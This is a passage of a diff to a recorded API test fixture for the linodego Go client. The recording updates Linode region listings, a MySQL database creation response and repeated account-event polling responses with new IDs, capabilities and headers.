172.233.64.37, 172.233.64.40, 172.233.64.46, + 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": + "Milan, IT", "country": "it", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, + 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", + "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, - 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, - 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": + "Miami, FL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": + {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, + 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", + "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, - 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, - 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": + "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, + 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", + "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Cloud Firewall", - "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, - 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, - 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": + "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, + 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", + "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", - "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-central", + "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Backups", + "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-west", - "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, - 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, - 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "us-southeast", "label": "Atlanta, GA", - "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, + 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, + 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": + "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block - Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": - "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, - 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, + 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-east", "label": "Newark, - NJ", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Bare Metal", - "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": - {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, - 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": + 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": + "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", + "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": + "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, + 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", + "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, + 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, + 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": + "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, + 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-west", - "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", - "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed - Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, - 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, - 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", - "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", - "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU + Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", + "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "ap-northeast", "label": "Tokyo, JP", - "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], - "status": "ok", "resolvers": {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, - 139.162.69.5, 139.162.70.5, 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, - 139.162.75.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}], - "page": 1, "pages": 1, "results": 24}' + 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", + "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "Backups", + "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, + 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": + "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}], "page": 1, "pages": 1, "results": 25}' headers: Access-Control-Allow-Credentials: - "true" @@ -197,19 +264,23 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=900 - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 17:32:29 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter + - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: @@ -220,7 +291,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -239,13 +310,14 @@ interactions: url: https://api.linode.com/v4beta/databases/mysql/instances method: POST response: - body: '{"id": 28254, "label": "go-mysql-test-def", "type": "g6-nanode-1", "engine": + body: '{"id": 133362, "label": "go-mysql-test-def", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "provisioning", - "encrypted": false, "allow_list": ["203.0.113.1", "192.0.1.0/24"], "cluster_size": - 3, "hosts": {"primary": null, "secondary": null}, "ssl_connection": false, "replication_type": - "semi_synch", "port": 3306, "updates": {"frequency": "weekly", "duration": 3, - "hour_of_day": 0, "day_of_week": null, "week_of_month": null}, "created": "2018-01-02T03:04:05", - "updated": "2018-01-02T03:04:05"}' + "port": 3306, "encrypted": false, "allow_list": ["203.0.113.1", "192.0.1.0/24"], + "cluster_size": 3, "hosts": {"primary": null, "secondary": null}, "created": + "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + null, "used_disk_size_gb": null, "members": {}, "ssl_connection": false, "replication_type": + "semi_synch", "updates": {"frequency": "weekly", "duration": 3, "hour_of_day": + 0, "day_of_week": null, "week_of_month": null}}' headers: Access-Control-Allow-Credentials: - "true" @@ -258,15 +330,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "540" + - "611" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 17:32:29 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -281,7 +357,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -298,14 +374,14 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database"}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T17:32:28"},"entity.id":133362,"entity.type":"database"}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755325328, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: @@ -320,16 +396,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "453" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 17:32:44 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -345,7 +424,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -362,14 +441,14 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T17:32:28"},"entity.id":133362,"entity.type":"database","id":{"+gte":755325328}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755325328, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: @@ -384,16 +463,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "453" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 17:33:00 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -409,7 +491,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -426,14 +508,14 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T17:32:28"},"entity.id":133362,"entity.type":"database","id":{"+gte":755325328}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755325328, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: @@ -448,16 +530,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "453" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 17:33:14 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -473,7 +558,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -490,14 +575,14 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T17:32:28"},"entity.id":133362,"entity.type":"database","id":{"+gte":755325328}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755325328, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: @@ -512,16 +597,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "453" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 17:33:29 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -537,7 +625,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -554,14 +642,14 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T17:32:28"},"entity.id":133362,"entity.type":"database","id":{"+gte":755325328}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755325328, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: @@ -576,16 +664,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "453" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 17:33:44 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -601,7 +692,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -618,14 +709,14 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T17:32:28"},"entity.id":133362,"entity.type":"database","id":{"+gte":755325328}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755325328, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: @@ -640,16 +731,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "453" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 17:33:59 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -665,7 +759,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -682,14 +776,14 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T17:32:28"},"entity.id":133362,"entity.type":"database","id":{"+gte":755325328}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755325328, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: @@ -704,16 +798,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "453" + - "457" 